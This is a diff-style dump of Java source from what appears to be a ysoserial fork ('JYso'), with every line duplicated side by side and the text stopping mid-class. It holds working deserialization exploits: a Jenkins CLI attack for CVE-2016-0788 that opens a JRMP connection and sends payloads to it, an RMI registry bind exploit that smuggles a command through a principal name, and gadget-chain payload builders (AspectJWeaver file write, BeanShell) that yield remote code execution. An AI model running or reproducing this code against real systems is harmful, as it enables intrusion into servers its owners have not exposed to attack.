int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote); int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
System.err.println("* JarLoader oid is " + oid); System.err.println("* JarLoader oid is " + oid);
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort)); Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass); Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
try { try {
c.call((Callable<?, ?>) o); c.call((Callable<?, ?>) o);
} catch (Exception e) { } catch (Exception e) {
// [ActivationGroupImpl[UnicastServerRef [liveRef: // [ActivationGroupImpl[UnicastServerRef [liveRef:
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
// -9046794842107247609]] // -9046794842107247609]]
System.err.println(e.getMessage()); System.err.println(e.getMessage());
parseObjIdAndExploit(args, jrmpPort, isa, e); parseObjIdAndExploit(args, jrmpPort, isa, e);
} }
} catch (Throwable e) { } catch (Throwable e) {
log.error(String.valueOf(e)); log.error(String.valueOf(e));
} finally { } finally {
if (c != null) { if (c != null) {
try { try {
c.close(); c.close();
} catch (IOException e) { } catch (IOException e) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
} }
} }
} }
private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class<?> reqClass) private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class<?> reqClass)
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException { throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons); Reflections.setAccessible(reqCons);
return reqCons return reqCons
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{ .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{
uro, uro,
}); });
} }
private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception { private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception {
String msg = e.getMessage(); String msg = e.getMessage();
int start = msg.indexOf("objID:["); int start = msg.indexOf("objID:[");
if (start < 0) { if (start < 0) {
throw new Exception("Failed to get object id"); throw new Exception("Failed to get object id");
} }
int sep = msg.indexOf(", ", start + 1); int sep = msg.indexOf(", ", start + 1);
if (sep < 0) { if (sep < 0) {
throw new Exception("Failed to get object id, separator"); throw new Exception("Failed to get object id, separator");
} }
int end = msg.indexOf("]", sep + 1); int end = msg.indexOf("]", sep + 1);
if (end < 0) { if (end < 0) {
throw new Exception("Failed to get object id, separator"); throw new Exception("Failed to get object id, separator");
} }
String uid = msg.substring(start + 7, sep); String uid = msg.substring(start + 7, sep);
String objNum = msg.substring(sep + 2, end); String objNum = msg.substring(sep + 2, end);
System.err.println("* UID is " + uid); System.err.println("* UID is " + uid);
System.err.println("* ObjNum is " + objNum); System.err.println("* ObjNum is " + objNum);
String[] parts = uid.split(":"); String[] parts = uid.split(":");
long obj = Long.parseLong(objNum); long obj = Long.parseLong(objNum);
int o1 = Integer.parseInt(parts[0], 16); int o1 = Integer.parseInt(parts[0], 16);
long o2 = Long.parseLong(parts[1], 16); long o2 = Long.parseLong(parts[1], 16);
short o3 = Short.parseShort(parts[2], 16); short o3 = Short.parseShort(parts[2], 16);
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args); exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args);
} }
private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args) private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args)
throws IOException { throws IOException {
Socket s = null; Socket s = null;
DataOutputStream dos = null; DataOutputStream dos = null;
try { try {
System.err.println("* Opening JRMP socket " + isa); System.err.println("* Opening JRMP socket " + isa);
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true); s.setKeepAlive(true);
s.setTcpNoDelay(true); s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream(); OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os); dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic); dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version); dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol); dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call); dos.write(TransportConstants.Call);
final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos); final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
objOut.writeLong(obj); objOut.writeLong(obj);
objOut.writeInt(o1); objOut.writeInt(o1);
objOut.writeLong(o2); objOut.writeLong(o2);
objOut.writeShort(o3); objOut.writeShort(o3);
objOut.writeInt(-1); objOut.writeInt(-1);
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class))); objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
// 去除前两个参数 // 去除前两个参数
String[] newArray = new String[args.length - 2]; String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length); System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial.run(newArray); ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD; Object payloadObject = ysoserial.PAYLOAD;
objOut.writeObject(payloadObject); objOut.writeObject(payloadObject);
os.flush(); os.flush();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
} finally { } finally {
if (dos != null) { if (dos != null) {
dos.close(); dos.close();
} }
if (s != null) { if (s != null) {
s.close(); s.close();
} }
} }
} }
}
}
@@ -1,79 +1,79 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.JRMPClient; import com.qi4l.JYso.gadgets.JRMPClient;
import hudson.remoting.Channel; import hudson.remoting.Channel;
import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.LogManager;
import java.io.IOException; import java.io.IOException;
import java.net.InetSocketAddress; import java.net.InetSocketAddress;
import java.rmi.registry.Registry; import java.rmi.registry.Registry;
import java.util.Random; import java.util.Random;
/** /**
* CVE-2016-0788 exploit (2) * CVE-2016-0788 exploit (2)
* <p> * <p>
* - Sets up a local {@link JRMPListener} * - Sets up a local {@link JRMPListener}
* - Delivers a {@link com.qi4l.JYso.exploit.JRMPClient} payload via the CLI protocol * - Delivers a {@link com.qi4l.JYso.exploit.JRMPClient} payload via the CLI protocol
* that will cause the remote to open a JRMP connection to our listener * that will cause the remote to open a JRMP connection to our listener
* - upon connection the specified payload will be delivered to the remote * - upon connection the specified payload will be delivered to the remote
* (that will deserialize using a default ObjectInputStream) * (that will deserialize using a default ObjectInputStream)
* *
* @author mbechler * @author mbechler
*/ */
public class JenkinsReverse { public class JenkinsReverse {
private static final Logger log = LogManager.getLogger(JenkinsReverse.class); private static final Logger log = LogManager.getLogger(JenkinsReverse.class);
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
if (args.length < 4) { if (args.length < 4) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <args...>"); System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <args...>");
System.exit(-1); System.exit(-1);
} }
// 去除前两个参数 // 去除前两个参数
String[] newArray = new String[args.length - 2]; String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length); System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial.run(newArray); ysoserial.run(newArray);
final Object payloadObject = ysoserial.PAYLOAD; final Object payloadObject = ysoserial.PAYLOAD;
String myAddr = args[1]; String myAddr = args[1];
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
String jenkinsUrl = args[0]; String jenkinsUrl = args[0];
Thread t = null; Thread t = null;
Channel c = null; Channel c = null;
try { try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa); c = JenkinsCLI.openChannel(isa);
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject); JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
t = new Thread(listener, "ReverseDGC"); t = new Thread(listener, "ReverseDGC");
t.setDaemon(true); t.setDaemon(true);
t.start(); t.start();
Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort); Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort);
c.call(JenkinsCLI.getPropertyCallable(payload)); c.call(JenkinsCLI.getPropertyCallable(payload));
listener.waitFor(1000); listener.waitFor(1000);
listener.close(); listener.close();
} catch (Throwable e) { } catch (Throwable e) {
log.error(String.valueOf(e)); log.error(String.valueOf(e));
} finally { } finally {
if (c != null) { if (c != null) {
try { try {
c.close(); c.close();
} catch (IOException e) { } catch (IOException e) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
} }
if (t != null) { if (t != null) {
t.interrupt(); t.interrupt();
try { try {
t.join(); t.join();
} catch (InterruptedException e) { } catch (InterruptedException e) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
} }
} }
} }
} }
@@ -1,111 +1,111 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.security.auth.UnixPrincipal; import com.sun.security.auth.UnixPrincipal;
import sun.rmi.transport.StreamRemoteCall; import sun.rmi.transport.StreamRemoteCall;
import sun.rmi.transport.tcp.TCPEndpoint; import sun.rmi.transport.tcp.TCPEndpoint;
import javax.management.remote.rmi.RMIConnection; import javax.management.remote.rmi.RMIConnection;
import javax.security.auth.Subject; import javax.security.auth.Subject;
import java.io.IOException; import java.io.IOException;
import java.io.ObjectInput; import java.io.ObjectInput;
import java.io.ObjectOutput; import java.io.ObjectOutput;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.rmi.*; import java.rmi.*;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; import java.rmi.registry.Registry;
import java.rmi.server.Operation; import java.rmi.server.Operation;
import java.rmi.server.RemoteObject; import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef; import java.rmi.server.RemoteRef;
import java.util.*; import java.util.*;
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
public class RMIBindExploit { public class RMIBindExploit {
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
if (args.length < 4) { if (args.length < 4) {
System.err.println(JRMPClient.class.getName() + " <host> <registryPort> <command> <serviceName>"); System.err.println(JRMPClient.class.getName() + " <host> <registryPort> <command> <serviceName>");
System.exit(-1); System.exit(-1);
} }
String host = args[0]; String host = args[0];
int registryPort = Integer.parseInt(args[1]); int registryPort = Integer.parseInt(args[1]);
String command = args[2]; String command = args[2];
String serviceName = args[3]; String serviceName = args[3];
Registry registry = LocateRegistry.getRegistry(host, registryPort); Registry registry = LocateRegistry.getRegistry(host, registryPort);
System.out.println(Arrays.toString(registry.list())); System.out.println(Arrays.toString(registry.list()));
Subject subject = new Subject(); Subject subject = new Subject();
Set set = new HashSet(); Set set = new HashSet();
set.add(new UnixPrincipal(command)); set.add(new UnixPrincipal(command));
Reflections.setFieldValue(subject, "principals", set); Reflections.setFieldValue(subject, "principals", set);
RMIClient r = new RMIClient(); RMIClient r = new RMIClient();
r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref"); r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
r.ip = host; r.ip = host;
System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject)); System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject));
} }
static class RMIClient extends RemoteObject { static class RMIClient extends RemoteObject {
private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")}; private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
private RemoteRef ref = null; private RemoteRef ref = null;
private String ip = null; private String ip = null;
public Remote lookup(String var1) throws NotBoundException, RemoteException { public Remote lookup(String var1) throws NotBoundException, RemoteException {
try { try {
StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L); StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L);
try { try {
ObjectOutput var3 = var2.getOutputStream(); ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1); var3.writeObject(var1);
} catch (IOException var15) { } catch (IOException var15) {
throw new MarshalException("error marshalling arguments", var15); throw new MarshalException("error marshalling arguments", var15);
} }
this.ref.invoke(var2); this.ref.invoke(var2);
Remote var20; Remote var20;
try { try {
ObjectInput var4 = var2.getInputStream(); ObjectInput var4 = var2.getInputStream();
var20 = (Remote) var4.readObject(); var20 = (Remote) var4.readObject();
Field f = var2.getClass().getDeclaredField("in"); Field f = var2.getClass().getDeclaredField("in");
f.setAccessible(true); f.setAccessible(true);
Object conn = f.get(var2); Object conn = f.get(var2);
f = conn.getClass().getDeclaredField("incomingRefTable"); f = conn.getClass().getDeclaredField("incomingRefTable");
f.setAccessible(true); f.setAccessible(true);
HashMap rets = (HashMap) f.get(conn); HashMap rets = (HashMap) f.get(conn);
Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next(); Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next();
f = entry.getKey().getClass().getDeclaredField("host"); f = entry.getKey().getClass().getDeclaredField("host");
f.setAccessible(true); f.setAccessible(true);
f.set(entry.getKey(), this.ip); f.set(entry.getKey(), this.ip);
} catch (Exception var13) { } catch (Exception var13) {
// var2.discardPendingRefs(); // var2.discardPendingRefs();
throw new UnmarshalException("error unmarshalling return", var13); throw new UnmarshalException("error unmarshalling return", var13);
} finally { } finally {
this.ref.done(var2); this.ref.done(var2);
} }
return var20; return var20;
} catch (RuntimeException | NotBoundException | RemoteException var16) { } catch (RuntimeException | NotBoundException | RemoteException var16) {
throw var16; throw var16;
} catch (Exception var19) { } catch (Exception var19) {
throw new UnexpectedException("undeclared checked exception", var19); throw new UnexpectedException("undeclared checked exception", var19);
} }
} }
} }
} }
@@ -1,64 +1,64 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable; import java.io.Serializable;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.util.Map; import java.util.Map;
import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6; import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6;
/** /**
* Gadget chain: * Gadget chain:
* HashSet.readObject() * HashSet.readObject()
* HashMap.put() * HashMap.put()
* HashMap.hash() * HashMap.hash()
* TiedMapEntry.hashCode() * TiedMapEntry.hashCode()
* TiedMapEntry.getValue() * TiedMapEntry.getValue()
* LazyMap.get() * LazyMap.get()
* SimpleCache$StorableCachingMap.put() * SimpleCache$StorableCachingMap.put()
* SimpleCache$StorableCachingMap.writeToPath() * SimpleCache$StorableCachingMap.writeToPath()
* FileOutputStream.write() * FileOutputStream.write()
* <p> * <p>
* Usage: * Usage:
* args = "<filename>;<base64 content>" * args = "<filename>;<base64 content>"
* Example: * Example:
* java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ==" * java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ=="
* <p> * <p>
* More information: * More information:
* <a href="https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5">...</a> * <a href="https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5">...</a>
*/ */
@SuppressWarnings("unused") @SuppressWarnings("unused")
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) @Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({Authors.JANG}) @Authors({Authors.JANG})
public class AspectJWeaver implements ObjectPayload<Serializable> { public class AspectJWeaver implements ObjectPayload<Serializable> {
public Serializable getObject(String command) throws Exception { public Serializable getObject(String command) throws Exception {
int sep = command.lastIndexOf(':'); int sep = command.lastIndexOf(':');
if (sep < 0) { if (sep < 0) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>"); throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
} }
String[] parts = command.split(":"); String[] parts = command.split(":");
String filename = parts[0]; String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]); byte[] content = Base64.decodeBase64(parts[1]);
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12); Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content); Transformer ct = new ConstantTransformer(content);
Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct); Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
return getSerializableCC6(entry); return getSerializableCC6(entry);
} }
} }
@@ -1,95 +1,95 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Factory; import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantFactory; import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.FactoryTransformer; import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable; import java.io.Serializable;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.util.HashMap; import java.util.HashMap;
import java.util.HashSet; import java.util.HashSet;
import java.util.Map; import java.util.Map;
/** /**
* 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10 * 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10
*/ */
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) @Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({Authors.QI4L}) @Authors({Authors.QI4L})
public class AspectJWeaver2 implements ObjectPayload<Serializable> { public class AspectJWeaver2 implements ObjectPayload<Serializable> {
@Override @Override
public Serializable getObject(String command) throws Exception { public Serializable getObject(String command) throws Exception {
int sep = command.lastIndexOf(';'); int sep = command.lastIndexOf(';');
if (sep < 0) { if (sep < 0) {
throw new IllegalArgumentException("Command format is: <filename>;<base64 Object>"); throw new IllegalArgumentException("Command format is: <filename>;<base64 Object>");
} }
String[] parts = command.split(";"); String[] parts = command.split(";");
String filename = parts[0]; String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]); byte[] content = Base64.decodeBase64(parts[1]);
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12); Object simpleCache = ctor.newInstance(".", 12);
Factory ft = new ConstantFactory(content); Factory ft = new ConstantFactory(content);
Transformer ct = new FactoryTransformer(ft); Transformer ct = new FactoryTransformer(ft);
Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct); Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
return getSerializableCC6(entry); return getSerializableCC6(entry);
} }
static Serializable getSerializableCC6(TiedMapEntry entry) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { static Serializable getSerializableCC6(TiedMapEntry entry) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
HashSet<String> map = new HashSet<>(1); HashSet<String> map = new HashSet<>(1);
map.add("QI4L"); map.add("QI4L");
Field f; Field f;
try { try {
f = HashSet.class.getDeclaredField("map"); f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) { } catch (NoSuchFieldException e) {
//noinspection JavaReflectionMemberAccess //noinspection JavaReflectionMemberAccess
f = HashSet.class.getDeclaredField("backingMap"); f = HashSet.class.getDeclaredField("backingMap");
} }
Reflections.setAccessible(f); Reflections.setAccessible(f);
HashMap<?,?> innimpl = (HashMap<?,?>) f.get(map); HashMap<?,?> innimpl = (HashMap<?,?>) f.get(map);
Field f2; Field f2;
try { try {
f2 = HashMap.class.getDeclaredField("table"); f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) { } catch (NoSuchFieldException e) {
//noinspection JavaReflectionMemberAccess //noinspection JavaReflectionMemberAccess
f2 = HashMap.class.getDeclaredField("elementData"); f2 = HashMap.class.getDeclaredField("elementData");
} }
Reflections.setAccessible(f2); Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl); Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0]; Object node = array[0];
if (node == null) { if (node == null) {
node = array[1]; node = array[1];
} }
Field keyField; Field keyField;
try { try {
keyField = node.getClass().getDeclaredField("key"); keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) { } catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
} }
Reflections.setAccessible(keyField); Reflections.setAccessible(keyField);
keyField.set(node, entry); keyField.set(node, entry);
return map; return map;
} }
} }
@@ -1,39 +1,39 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import bsh.Interpreter; import bsh.Interpreter;
import bsh.XThis; import bsh.XThis;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil; import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.util.Comparator; import java.util.Comparator;
import java.util.PriorityQueue; import java.util.PriorityQueue;
/** /**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/ */
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"org.beanshell:bsh:2.0b5"}) @Dependencies({"org.beanshell:bsh:2.0b5"})
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class BeanShell1 implements ObjectPayload<PriorityQueue> { public class BeanShell1 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception { public PriorityQueue getObject(String command) throws Exception {
String payload = BeanShellUtil.makeBeanShellPayload(command); String payload = BeanShellUtil.makeBeanShellPayload(command);
Interpreter i = new Interpreter(); Interpreter i = new Interpreter();
i.eval(payload); i.eval(payload);
XThis xt = new XThis(i.getNameSpace(), i); XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator); PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
Object[] queue = {1, 1}; Object[] queue = {1, 1};
Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2); Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue; return priorityQueue;
} }
} }
@@ -1,50 +1,50 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import bsh.Interpreter; import bsh.Interpreter;
import bsh.NameSpace; import bsh.NameSpace;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil; import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.Comparator; import java.util.Comparator;
import java.util.PriorityQueue; import java.util.PriorityQueue;
/** /**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/ */
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"org.beanshell:bsh:2.0b1"}) @Dependencies({"org.beanshell:bsh:2.0b1"})
@Authors({Authors.KILLER}) @Authors({Authors.KILLER})
public class BeanShell2 implements ObjectPayload<PriorityQueue> { public class BeanShell2 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception { public PriorityQueue getObject(String command) throws Exception {
String payload = BeanShellUtil.makeBeanShellPayload(command); String payload = BeanShellUtil.makeBeanShellPayload(command);
Interpreter i = new Interpreter(); Interpreter i = new Interpreter();
